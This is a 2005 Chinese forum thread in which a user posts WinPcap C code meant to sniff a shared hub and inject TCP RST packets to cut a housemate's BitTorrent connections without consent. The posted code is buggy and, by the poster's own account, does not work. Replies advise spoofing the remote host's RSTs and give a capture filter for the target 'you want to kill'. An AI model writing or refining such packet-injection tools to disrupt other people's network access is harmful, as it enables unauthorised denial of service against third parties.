免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 8680 | 回复: 5
打印 上一主题 下一主题

tcp的RST标志问题 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2005-08-05 21:16 |只看该作者 |倒序浏览
小弟最近给同一内网的兄弟用BT下载搞的很是苦恼。因为是HUB,于是想一个点子。用winpcap截包,如果包的源IP是他的,则给目的IP发送RST标志的包。由于对TCP协议不是很了解,包包截取到后,修改了RST标志后直接再发送,但就没有任何效果,用自己机器测试,上网仍然很正常。
考虑到WINPCAP和LIBPCAP都差不多,就发在这里了,望见晾。代码如下:

  1. // deny.cpp : Defines the entry point for the console application.
  2. //

  3. #include "stdafx.h"
  4. #include "pcap.h"

  5. #define TMP_IP  "218.23.116.57"
  6. #define TH_RST 0x04

  7. #define DEBUG

  8. //struct sniff_ethernet {
  9. //    UCHAR ether_dhost[6]; /* Destination host address */
  10. //    UCHAR ether_shost[6]; /* Source host address */
  11. //    USHORT ether_type; /* IP? ARP? RARP? etc */
  12. //};


  13. //typedef struct ip_address{
  14. //    u_char byte1;
  15. //    u_char byte2;
  16. //    u_char byte3;
  17. //    u_char byte4;
  18. //}ip_address;

  19. /* IPv4 header */
  20. typedef struct ip_header{
  21.     u_char  ver_ihl;        // Version (4 bits) + Internet header length (4 bits)
  22.     u_char  tos;            // Type of service
  23.     u_short tlen;           // Total length
  24.     u_short identification; // Identification
  25.     u_short flags_fo;       // Flags (3 bits) + Fragment offset (13 bits)
  26.     u_char  ttl;            // Time to live
  27.     u_char  proto;          // Protocol
  28.     u_short crc;            // Header checksum
  29. //    ip_address  saddr;      // Source address
  30. //    ip_address  daddr;      // Destination address
  31.         UINT        saddr;
  32.         UINT        daddr;
  33.     u_int   op_pad;         // Option + Padding
  34. }ip_header;

  35. /*  tcp header  */
  36. typedef struct tcphdr
  37. {
  38.     USHORT sport;
  39.     USHORT dport;
  40.     unsigned int seq;
  41.     unsigned int ack;
  42.     unsigned char lenres;
  43.     unsigned char flag;
  44.     USHORT win;
  45.     USHORT sum;
  46.     USHORT urp;
  47. }tcp_header;

  48. /* UDP header*/
  49. typedef struct udp_header{
  50.     u_short sport;          // Source port
  51.     u_short dport;          // Destination port
  52.     u_short len;            // Datagram length
  53.     u_short crc;            // Checksum
  54. }udp_header;



  55. pcap_t *p;

  56. void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
  57. {
  58.         u_char *send_data = (u_char *)pkt_data;
  59. //        struct sniff_ethernet *ethernet;
  60.         ip_header *ih;
  61.         tcp_header *th;
  62.         int ih_len;
  63.         u_int addr=0;

  64.         addr=inet_addr(TMP_IP);
  65. //        ethernet = (struct sniff_ethernet *)(pkt_data);
  66.         ih = (ip_header *)(send_data+22);
  67.         ih_len=(ih->;ver_ihl & 0xf) *4;
  68.         th = (tcp_header *)((u_char *)ih+ih_len);
  69.        
  70.         if(ih->;saddr==addr) {
  71. #ifdef DEBUG
  72.                 printf("%d : %d ->; %d : %d\n",
  73.                 ih->;saddr,
  74.         ntohs(th->;sport),
  75.         ih->;daddr,
  76.         ntohs(th->;dport));
  77. #endif

  78.                 th->;ack=0;
  79.                 th->;flag=TH_RST;                                                //Set the tcp's flag to 'rst'
  80.                 if(pcap_sendpacket(p,send_data,sizeof(send_data))!=0) {     //send data

  81.                         fprintf(stderr,"\nError sending the packet. \n");
  82.                         return;
  83.                 }
  84.      }


  85. }

  86. int main(int argc, char *argv[])
  87. {
  88.         pcap_if_t *alldevs;
  89.         pcap_if_t *d;
  90.         int inum;
  91.         int i=0;
  92.         pcap_t *adhandle;
  93.         char errbuf[PCAP_ERRBUF_SIZE];
  94. //        u_int netmask;
  95.         char packet_filter[] = "ip and udp";
  96. //        struct bpf_program fcode;
  97.        
  98.     /* Retrieve the device list */
  99.    if (pcap_findalldevs(&alldevs, errbuf) == -1)
  100.         {
  101.                 fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
  102.                 return 0;
  103.                 //exit(1);
  104.         }

  105.    
  106.     /* Print the list */
  107.     for(d=alldevs; d; d=d->;next)
  108.     {
  109.         printf("%d. %s", ++i, d->;name);
  110.         if (d->;description)
  111.             printf(" (%s)\n", d->;description);
  112.         else
  113.             printf(" (No description available)\n");
  114.     }
  115.        
  116.     if(i==0)
  117.     {
  118.         printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
  119.         return -1;
  120.     }
  121.    
  122.     printf("Enter the interface number (1-%d):",i);
  123.     scanf("%d", &inum);
  124.    
  125.     if(inum < 1 || inum >; i)
  126.     {
  127.         printf("\nInterface number out of range.\n");
  128.         /* Free the device list */
  129.         pcap_freealldevs(alldevs);
  130.         return -1;
  131.     }
  132.        
  133.     /* Jump to the selected adapter */
  134.     for(d=alldevs, i=0; i< inum-1 ;d=d->;next, i++);
  135.    
  136.     /* Open the adapter */
  137.     if ( (adhandle= pcap_open_live(d->;name,  // name of the device
  138.                 65536,     // portion of the packet to capture.
  139.                 // 65536 grants that the whole packet will be captured on all the MACs.
  140.                 1,         // promiscuous mode
  141.                 1000,      // read timeout
  142.                       // remote authentication
  143.                 errbuf     // error buffer
  144.                 ) ) == NULL)
  145.     {
  146.         fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n");
  147.         /* Free the device list */
  148.         pcap_freealldevs(alldevs);
  149.         return -1;
  150.     }
  151.    
  152.     /* Check the link layer. We support only Ethernet for simplicity. */
  153. //    if(pcap_datalink(adhandle) != DLT_EN10MB)
  154. //   {
  155. //        fprintf(stderr,"\nThis program works only on Ethernet networks.\n");
  156. //        /* Free the device list */
  157. //        pcap_freealldevs(alldevs);
  158. //        return -1;
  159. //    }
  160. //   
  161. //    if(d->;addresses != NULL)
  162. //        /* Retrieve the mask of the first address of the interface */
  163. //        netmask=((struct sockaddr_in *)(d->;addresses->;netmask))->;sin_addr.S_un.S_addr;
  164. //    else
  165. //        /* If the interface is without addresses we suppose to be in a C class network */
  166. //       netmask=0xffffff;
  167. //       
  168. //       
  169. //    //compile the filter
  170. //    if (pcap_compile(adhandle, &fcode, packet_filter, 1, netmask) <0 )
  171. //    {
  172. //        fprintf(stderr,"\nUnable to compile the packet filter. Check the syntax.\n");
  173. //        /* Free the device list */
  174. //        pcap_freealldevs(alldevs);
  175. //        return -1;
  176. //    }
  177. //   
  178. //    //set the filter
  179. //    if (pcap_setfilter(adhandle, &fcode)<0)
  180. //    {
  181. //        fprintf(stderr,"\nError setting the filter.\n");
  182. //        /* Free the device list */
  183. //        pcap_freealldevs(alldevs);
  184. //        return -1;
  185. //    }
  186.    
  187.     printf("\nlistening on %s...\n", d->;description);
  188.    
  189.     /* At this point, we don't need any more the device list. Free it */
  190.     pcap_freealldevs(alldevs);
  191.    
  192.     /* start the capture */
  193.         p=adhandle;                        
  194.     pcap_loop(adhandle, 0, packet_handler, NULL);
  195.    
  196.     return 0;
  197. }

复制代码


TMP_IP就是我要设置成用BT的兄弟的IP。

论坛徽章:
0
2 [报告]
发表于 2005-08-05 23:29 |只看该作者

tcp的RST标志问题

>;>;>;>;果包的源IP是他的,则给目的IP发送RST标志的包

这个方法不大对头,因为你并不能截止原来的包,一般原来那个包会比你后来发的先到,你发的包与原来的包具有相同的序列号,并认为是重复的。

你可以冒充外网的机器向``用BT的兄弟的IP'' 发 RST.   ack 设为0 是不行的。


ps:  win_pacp/libpcap 现在可以发包了吗?

论坛徽章:
0
3 [报告]
发表于 2005-08-06 08:52 |只看该作者

tcp的RST标志问题

论坛徽章:
0
4 [报告]
发表于 2005-08-06 09:47 |只看该作者

tcp的RST标志问题

谢谢,我明白了。

winpcap有pcap_sendpacket(),libpcap没有。

还有我的那个pcap_sendapcket中计算包大小用sizeof(send_data)根本不对,基础问题,汗!

论坛徽章:
0
5 [报告]
发表于 2005-08-06 13:05 |只看该作者

tcp的RST标志问题

还有一点小问题,我的网络结构是:
internet---adslmodem----HUB
                                        /   \
                                       /     \
                                     /         \
                                    me       B
me是我的机器,B是他的,我们各自拨号上网,问题是只能捕获到内网IP,却捕获不到他的外网IP。靠rootclown提供的代码,现在只能拒绝他的内网访问。外网连接依然正常。

而sniffer却能做到。不知道为什么。

论坛徽章:
0
6 [报告]
发表于 2005-08-06 17:49 |只看该作者

tcp的RST标志问题

do you have linux installed?
use pcap instead of PF_PACKET and set a filter like
    "tcp and src host 192.168.1.2"
where 192.168.1.2 is the one you want to kill
winpcap should have the same function
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP